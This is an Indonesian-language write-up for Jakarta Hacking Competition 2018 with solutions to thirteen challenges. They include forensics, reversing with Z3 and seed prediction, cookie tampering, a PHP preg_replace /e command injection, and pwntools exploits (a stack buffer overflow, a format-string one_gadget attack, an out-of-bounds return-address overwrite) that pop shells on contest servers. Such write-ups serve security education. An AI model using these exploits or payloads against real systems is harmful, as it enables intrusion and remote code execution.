



TOP SECRET

Jakarta Hacking Competition 2018

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Soal 1 : recovery1

Diberikan file recovery.7z, extract file lalu gunakan command :

```
~$ strings recovery1.001 -n 20 | grep flag
```

Lalu akan di dapatkan Flag

Flag : JHack2018{recov3ry_CTF_easy}

Soal 2 : image3

Diberikan file png1.7z, extract akan terdapat file png1.png, lalu extract file yang di sembunyikan di dalam file png1.png dengan foremost :

```
~$ foremost png1.png
```

akan terdapat 2 gambar salah satunya adalah flag

Flag : JHack2018{menc0b4_yang_t3rba1k}

Soal 3 : BlackPink No Hero

Diberikan ELF 64-bit executable, hasil decompile fungsi `main()` dengan IDA Pro:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    const char *s; // [sp+10h] [bp-20h]@1
    int i; // [sp+1Ch] [bp-14h]@1

    s = strdup(*argv);
    lenk = strlen(s) - 2;
    get(s);
    for ( i = 0; i < strlen(s); ++i )
        k[i] = s[i + 2];
    cor_coran(0xFFFFFFFFLL);
    cor(0xFFFFFFFFLL);
    flag(0xFFFFFFFFLL);
    return 0;
}
```

var **s** adalah nama file, program meminta 2 input passwd dan id

```
for ( i = 0; i < strlen(s); ++i )
    k[i] = s[i + 2];
```

isi **s** mulai index ke dua di simpan ke var **k**, **s**, jadi isi **k** adalah **"JHackHero"**, program memanggil fungsi `cor_coran()` dengan argument `0xffffffff` atau -1

```
size_t __fastcall cor_coran(char a1)
{
    size_t result; // rax@3
    signed int i; // [sp+1Ch] [bp-14h]@1

    for ( i = 0; ; ++i )
    {
        result = strlen(passwd);
        if ( i >= result )
```

```

        break;
    tmp[i] = a1 ^ id ^ k[i % lenk] ^ passwd[i];
}
return result;
}

```

array tmp diisi `tmp[i] = a1 ^ id ^ k[i % lenk] ^ passwd[i];`

```

size_t cor()
{
    size_t result; // rax@5
    int i; // [sp+Ch] [bp-14h]@1

    for ( i = 0; ; ++i )
    {
        result = strlen(passwd);
        if ( i >= result )
            break;
        if ( tmp[i] + lenk != enc[i] )
            exit(-1);
    }
    return result;
}

```

- index tmp di compare dengan enc
- jika tidak sama program akan out
- nilai id bisa di bruteforce karena hanya range 1-255

```

#!/usr/bin/env python

from itertools import cycle

key = "JHackHero"
enc = [ 0xffffffffc7, 0xffffffff9a, 0xffffffffae, 0xffffffffc4,
        0xffffffff8b, 0xffffffffb3, 0xffffffffc5, 0xffffffffa4,
        0xffffffffa4, 0xffffffffc2, 0xffffffffaa, 0xffffffff89,
        0xffffffffc5, 0xffffffffba, 0xffffffffa3, 0xffffffff95,
        0xffffffffb9, 0xffffffffbf, 0xffffffffac, 0xffffffffb5,
        0xffffffffbb, 0xffffffffac, 0xfffffffff7, 0xffffffff95,
        0xffffffffa9, 0xffffffffaa, 0xffffffff8f, 0xffffffffb1,
        0xffffffff9f, 0xffffffffbb, 0xffffffff93, 0xffffffff93,
        0xffffffffd7, 0xffffffffaa, 0xffffffffb1, 0xffffffffc6]

for i,j in zip(range(len(enc)), cycle(key)):
    enc[i] = ((enc[i] - (0xFFFFFFFF + 1)) - len(key) ^ -1) ^ ord(j)

for i in range(256):
    flag = ""
    for j in enc:
        flag += chr(i^j)
    print flag

```

```
$ python JHackHero.py | strings | grep _
```

Flag : JHack2018{Born_To_BE_Wild_to_Rev3rse_The_World}

Soal 4 : Cookie

Diberikan web dengan alamat <http://203.34.119.232/manipulateme/> , check cookie akan terdapat parameter base64 :

```
Cookie: cookie[cookie_token_csrf]=U2VsYW1hdCBhbmRhIGJlcmhhc2lsIG1lbmRlYy29kZSbj29raWUgaW5pLCBwZXJ5YXN5bW4gc2VkdXZJoYW5hTHlhbmcgaGueWegbWVtYnV0dWhrYW4gcG9pc2lvbmluZyBjb29raWUgdW50dWsgYmlzYSBtZW5kYXBhdGthbiBmbGFnIhIhbmcmGw5K5YSBpbmdpbmthbi4gU2lsYWhrYW4gbGFRdWthbiBhcEGeWuFuZyBoYXJlcyBhbmRhIGxha3YrY4c2F5SiW5qdXRueUEiE51dmVYEdpdmVGAuLi4uLi4hISEh; cookie[flag]=UmV2ZXJkZSB0aGlzIHdvcmQgIjg3MDJhY2V2SiIgZm9yIGdldCB0aGUgZmxhZwz3D%3D%3D
```

decode menjadi :

Selamat anda berhasil mendecode cookie ini, permainan sederhana yang hanya membutuhkan poisioning cookie untuk bisa mendapatkan flag yang anda inginkan. Silahkan lakukan apa yang harus anda laku kan selanjutnya. Never Give Up.....!!!!

Reverse **this** word **"8102kcaHJ"** for **get** the flag

requests web dengan command :

```
~$ curl -s --cookie "cookie[flag]=JHack2018" "http://203.34.119.232/manipulateme/" | grep JHack
```

Flag : JHack2018{s!mpl3_c00k!3_p0!s!0nin6}

Soal 5: As Indeed I am First In Everything!

Diberikan service pada `203.34.119.237 40004` yang bisa di remote dengan nc dan memberikan pertanyaan mengenai dota2 100x serta harus di jawab dengan cepat, buat auto solver nya :

```
from pwn import *

skill = {"Quas" : "Q", "Wex" : "W", "Exort" : "E", "Invoke" : "R"}
skill_name = {"QQW" : "GHOSTWALK", "WWW" : "EMP", "EW" : "Alacrity".upper(), "QWW" : "TORNADO", "EQW" : "DEAFENINGBLAST", "EEW" : "CHAOSMETEOR", "QQQ" : "COLD SNAP", "EQQ" : "ICEWALL", "EEQ" : "FORGESPIRIT", "EEE" : "SUNSTRIKE"}

p = remote("203.34.119.237", 40004)

spell = ""

for i in range(1010):
    try:
        msg = p.recv().split()
        print msg
        spell = "{}{}{}".format(skill[msg[0]], skill[msg[1]], skill[msg[2]])
        spell = ''.join(sorted(spell))
        print "Spell : {}".format(spell)
        print "Name : {}".format(skill_name[spell])
        p.sendline(skill_name[spell].strip() + msg.lower())
```

```
except:
    print p.recvall()
    break
```

Flag : JHack2018{www_wwq_eew_qqe_eee}

Soal 6: No Spesial Character

Di berikan web dengan alamat <http://203.34.119.237:40001/> yang memiliki layanan tentang replacement strings, lakukan requests lalu tamper menggunakan Burp :

```
POST /api.php HTTP/1.1
Host: 203.34.119.237:40001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://203.34.119.237:40001/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 43
Cookie: session=.eJxFzk8LgjAABfCvEjtHuP8aeE2RCDpk5W2bUw9uM9M0ou9eIuj1vd-D9wHS59wnjHARBMjLA78IICaFggUiuWQe2H_ARoI9EFHlwHcLilaURttuKTIEB4kSps3JidiFE7K6q51ayL_ypLkwHdFR2ro5x82obim-I_qaeCNaYZ4Lvw9h0MddtYRHnAzKpEzatBflDB69bt_rQ9P0MjpyfUtJdp7FU1Xa6PXr9eRyM7Kp-g8hJRhijindYe5R7H9_70BQJQ.W_pr0g.y8WL7y3RJyAGtCBBveYULuPwk3o
DNT: 1
Connection: close

data=Ini%40gak%23boleh!&mod=m&replacement=+
```

lalu edit requestsnya menjadi :

```
POST /api.php HTTP/1.1
Host: 203.34.119.237:40001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://203.34.119.237:40001/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Cookie: session=.eJxFzk8LgjAABfCvEjtHuP8aeE2RCDpk5W2bUw9uM9M0ou9eIuj1vd-D9wHS59wnjHARBMjLA78IICaFggUiuWQe2H_ARoI9EFHlwHcLilaURttuKTIEB4kSps3JidiFE7K6q51ayL_ypLkwHdFR2ro5x82obim-I_qaeCNaYZ4Lvw9h0MddtYRHnAzKpEzatBflDB69bt_rQ9P0MjpyfUtJdp7FU1Xa6PXr9eRyM7Kp-g8hJRhijindYe5R7H9_70BQJQ.W_pr0g.y8WL7y3RJyAGtCBBveYULuPwk3o
DNT: 1
Connection: close

data=/Ini%40gak%23boleh!/&mod=e&replacement=system('cat flag.txt');
```

Di dapatkan RCE dan kita bisa langsung membaca flag

Flag : JHack2018{Upgrade_To_PHP7_You_Will_Save}

Soal 7 :Activeme

Diberikan program python untuk mengecek serial

```
#!/usr/bin/env python
```

```
def check(key):
    key = key.replace('-', '')
    if len(key) != 16:
        print "Key : {}".format(1)
        return False
    if int(key[0]) + int(key[2]) != 9:
        print "Key : {}".format(2)
        return False
    if int(key[1]) * int(key[3]) != 72:
        print "Key : {}".format(3)
        return False
    if int(key[4]) * int(key[5]) / 2 != 8:
        print "Key : {}".format(4)
        return False
    if int(key[6]) / int(key[7]) + 3 != 6:
        print "Key : {}".format(5)
        return False
    if int(key[8]) + int(key[11]) != 7:
        print "Key : {}".format(6)
        return False
    if int(key[9]) * 2 / 4 != 2:
        print "Key : {}".format(7)
        return False
    if int(key[10]) / 4 != 2:
        print "Key : {}".format(8)
        return False
    if int(key[12]) + int(key[13]) != 6:
        print "Key : {}".format(9)
        return False
    if int(key[14]) * 4 / 2 != 8:
        print "Key : {}".format(10)
        return False
    if int(key[15]) - 2 != int(key[0]):
        print "Key : {}".format(11)
        return False
    if int(key[7]) == 0:
        print "Key : {}".format(12)
        return False
    if int(key[0]) <= 3:
        print "Key : {}".format(13)
        return False
    if int(key[0]) + int(key[4]) != 12:
        print "Key : {}".format(14)
        return False
    if int(key[12]) % 2 != 0:
        print "Key : {}".format(15)
        return False
    if int(key[12]) <= 5:
```

```

    print "Key : {}".format(16)
    return False
if int(key[1]) < int(key[3]):
    print "Key : {}".format(17)
    return False
if int(key[5]) != int(key[7]):
    print "Key : {}".format(18)
    return False
if int(key[6]) + int(key[8]) + int(key[10]) != 18:
    print "Key : {}".format(19)
    return False
return True

if __name__ == "__main__":
    print "#####"
    print "# JHack2018                #"
    print "# activeme.v.0.1          #"
    print "#                        #"
    print "#####\n"
    print "Active ME, and YOU get the flag"
    print "Format key : XXXX-XXXX-XXXX-XXXX"
    print "Input HERE : "
    key = raw_input()
    if(check(key)):
        with open("flag.txt","r") as f:
            flag = f.readline()
            print "\n[SUCCESS] " + flag
    else:
        print "\n[FAIL] Wrong serial number"

```

Untuk menyelesaikan challenge ini kami menggunakan Z3.
Berikut script nya :

```

from z3 import *

key = [BitVec("num{}".format(i),8) for i in range(16)]
s = Solver()

for i in range(len(key)):
    s.add(key[i] >= 0)
    s.add(key[i] < 10)

s.add(key[7] != 0)
s.add(key[0] > 3)
s.add(key[12] > 5)
s.add(key[1] > key[3])
s.add(key[0] + key[2] == 9)
s.add(key[1] * key[3] == 72)
s.add(key[4] * key[5] / 2 == 8)
s.add(key[6] / key[7] + 3 == 6)
s.add(key[8] + key[11] == 7)
s.add(key[9] * 2 / 4 == 2)
s.add(key[10] / 4 == 2)
s.add(key[12] + key[13] == 6)
s.add(key[14] * 4 / 2 == 8)
s.add(key[15] - 2 == key[0])
s.add(key[0] + key[4] == 12)
s.add(key[12] % 2 == 0)

```

```
s.add(key[5] == key[7])
s.add(key[6] + key[8] + key[10] == 18)

if s.check() == sat:
    m = s.model()
    hasil = [str(m[i].as_long()) for i in key]
    print "".join(hasil)
    # 4958-8262-4483-6046
```

```
$ python activeme_solver.py
4958826244836046
nc 203.34.119.232 20101
#####
# JHack2018 #
# activeme.v.0.1 #
# #
#####

Active ME, and YOU get the flag
Format key : XXXX-XXXX-XXXX-XXXX
Input HERE :
4958-8262-4483-6046

[SUCCESS] JHack2018{y0uR_s0lver_is_g00d}
```

Flag : JHack2018{y0uR_s0lver_is_g00d}

Soal 8: Fun Lottery Game

Diberikan binary bernama `rev_new` yang meminta inputan. pada fungsi `init()` terdapat pemanggilan fungsi `srand(time() % 256)`. Yang digunakan sebagai **seed** fungsi `rand()`.

```
v0 = time(0LL);
srand(((unsigned __int8)(((unsigned __int64)(v0 >> 63) >> 56) + v0) - ((unsigned __int64)(v0 >> 63) >> 56)));
```

Pada fungsi `do_lottery()` terdapat permainan ganji genap

```
__int64 __fastcall do_lottery(int a1)
{
    int v1; // eax@2
    int v2; // eax@3
    int v4; // [sp+1Ch] [bp-14h]@2

    if ( a1 & 1 )
    {
        v2 = rand();
        v4 = (a1 - 5) ^ (((unsigned __int8)(((unsigned int)(v2 >> 31) >> 24) + v2) - ((unsigned int)(v2 >> 31) >> 24)));
    }
    else
    {
        v1 = rand();
```



```

    v4 = (a1 + 5) ^ (((unsigned __int8)((((unsigned int)(v1 >> 31) >> 24) + v1) - ((unsigned int)(v1 >> 31) >> 24)));
}
return (unsigned int)v4;
}

```

nilai dari `a1` adalah **stage** nya.

Sebenarnya mustahil untuk menebak nilai dari `rand()` tapi karena program menggunakan time sebagai seed, ini memungkinkan untuk menebak nilai `rand()`.

script solver yang kami gunakan

```

import ctypes
from pwn import *

DEBUG = 0

c = ctypes.CDLL("libc.so.6")
c.srand(c.time() % 256)

if DEBUG:
    p = process("./rev_new")
    gdb.attach(p, '''b *0x0000000000400E9C''')
else:
    p = remote("203.34.119.237", 20001)

def do_lottery(i):
    if (i % 2 == 0):
        r = c.rand() % 256
        v4 = (i + 5) ^ r
        print "Rand {}".format(r)
    else:
        r = c.rand() % 256
        v4 = (i - 5) ^ r
        print "Rand {}".format(r)
    return v4

for i in range(32):
    print p.recvuntil("Stage : {}".format(i))
    for j in range(32):
        ans = do_lottery(i)
        p.recvuntil("> ")
        print "Ans : {}".format(ans)
        p.sendline(str(ans))
    print p.recvall()

```

```

$ python rev_solver.py
....
Ans : 26
Rand 216
Ans : 194
Rand 188
Ans : 166
Rand 233
Ans : 243

```

```
Rand 175
Ans : 181
Rand 181
Ans : 175
[+] Receiving all data: Done (51B)
[*] Closed connection to 203.34.119.237 port 20001
Flag : JHack2018{a9b8ccb6e15e223617f5feb3407317f3}
```

Flag : JHack2018{a9b8ccb6e15e223617f5feb3407317f3}

Soal 9: Verguso

Diberikan binary 64bit bernama `verguso` dimana binary ini vulnerable `classic buffer overflow`

Fungsi yang memanggil flag ada di `00000000004005b6 T verguso`.

Dibutuhkan 136 bytes untuk mengoverwrite nilai dari register `RIP`

script exploit yang digunakan

```
from pwn import *

DEBUG = 0
if DEBUG:
    p = process("./verguso")
else:
    p = remote("203.34.119.232", 6006)

payload = ""
payload += "A" * 136
payload += p64(0x4005b6)
p.sendline(payload)
p.interactive()
```

```
$ python verguso_sploit.py
[+] Opening connection to 203.34.119.232 on port 6006: Done
[*] Switching to interactive mode
Tidak Semudah ItuJHack2018{cac66b83927f9e1d48cd3a8ffad813e8}
[*] Got EOF while reading in interactive
```

Flag : JHack2018{cac66b83927f9e1d48cd3a8ffad813e8}

Soal 10 : Final Attend

Diberikan sebuah web "<http://203.34.119.237:40002/flag>" web tersebut dibuat menggunakan node js.

Pada bagian cookie, terdapat penggunaan format `json`, kami menduga di bagian backend akan melakukan `unserialize` pada cookie tersebut.

Untuk membuat payload reverse shell, kami menggunakan nodejsshell.py (<https://github.com/ajinabraham/Node.js-Security-Course/blob/master/nodejsshell.py>)

Deeds and Conscience don't cost 2211, they cost nothing more than shell

Soal 11 : Print It

Dengan proteksi sebagai berikut

```
from pwn import *

DEBUG = False

if DEBUG:
    p = process("./printf_a")
    # gdb.attach(p, '''b *main+128''')
else:
    p = remote("203.34.119.237", 30001)

one_gadget = 0xf1147
libc_start_main_offset = 0x00000000000020740

def leak(pload):
    p.sendline(pload)
    r = p.recv().strip("\n")
    print repr(r)
    r = int(r, 16)
    return r

libc_start_main = leak("%27$p") - 240
save_rip_addr = leak("%29$p") - 224
base_address = libc_start_main - libc_start_main_offset
one_gadget = one_gadget + base_address

print "Libc Start Main : 0x{:x}".format(libc_start_main)
print "Saved Rip : 0x{:x}".format(save_rip_addr)
print "One gadget : 0x{:x}".format(one_gadget)

o = map(ord, p64(one_gadget).replace("\x00", ""))
```

```

for i,v in enumerate(o):
    payload = ""
    payload += "{}c".format(o[i]-(3-(len(str(o[i])) - 3))).ljust(8,"A")
    payload += "%8$hhn".ljust(8,"A")
    payload += p64(save_rip_addr+i)
    p.sendline(payload)

p.sendline("E")
p.interactive()

```

```

$ python printf_spoit.py
....
$ ls
chall
flag
$ cat flag
JHack2018{8c7cdb812f1266b84b7271be439b1052}

```

Flag : JHack2018{8c7cdb812f1266b84b7271be439b1052}

Soal 12 : Web Browser

Diberikan sebuah web <http://203.34.119.232:10006/>

Untuk menyelesaikannya kami menggunakan user agent : Jakarta-Hacking-Browser, X-Forwarded-For : 203.34.119.232 dan Referer: JHackBrowser

```

GET / HTTP/1.1
Host: 203.34.119.232:10006
User-Agent: Jakarta-Hacking-Browser
X-Forwarded-For: 203.34.119.232
Referer: JHackBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1

```

Sehingga didapatkan flag

Flag : JHack2018{Y0u_4r3_Th3_trU3_4GenT}

Soal 13 : Kelas Jhack

Diberikan binary elf 64bit, di program ini kita bisa menambahkan atau menghapus siswa sesuai dengan index yang diberikan. Kami menyadari bahwa program ini memiliki bug array out of bound dimana kita dapat memberikan index yang kurang dari 0.

```

__int64 __fastcall sub_4009AE(__int64 a1)
{
    signed int v2; // [sp+1Ch] [bp-4h]@1

    printf("Enter index : ");
    v2 = read_input();
    printf("%d\n", (unsigned int)v2);
}

```

```

if ( v2 > 7 )
    puts("Stay away from my service, hackers!");
printf("Enter the name of students : ");
return sub_400827((void *)(30LL * v2 + a1), 0x1Du);
}

```

Setelah kami kalkulasikan, kita dapat memberikan index -2, dan mengoverwrite dan mengontrol return address ke alamat yang kita inginkan.

Beruntungnya sudah terdapat alamat instruksi yang akan memberikan kita shell yang berada pada 0x400816, jadi kami tidak perlu ribet-ribet membuat ropchain.

```

.text:0000000000400816 ; -----
---
.text:0000000000400816          push    rbp
.text:0000000000400817          mov     rbp, rsp
.text:000000000040081A          mov     edi, offset aBinSh ; "/bin/sh"
.text:000000000040081F          call   _system
.text:0000000000400824          nop
.text:0000000000400825          pop     rbp
.text:0000000000400826          retn

```

Berikut dibawah adalah exploit yang kami buat.

```

from pwn import *

#p = process("./main")
p = remote("203.34.119.237", 30000)
p.sendlineafter('>', '2')
p.sendlineafter(':', '-2')
payload = "A"*(28-8) + p64(0x400816) # Overwrite return address with 0x400816
p.sendline(payload)
p.interactive()

```

```

$ python kelas_sploit.py
[+] Opening connection to 203.34.119.237 on port 30000: Done
[*] Switching to interactive mode
-2
Enter the name of students : $ ls
chall
flag
$ cat flag
JHack2018{2098c048b4a46eb96ad63674a53f6544}

```

Flag : JHack2018{2098c048b4a46eb96ad63674a53f6544}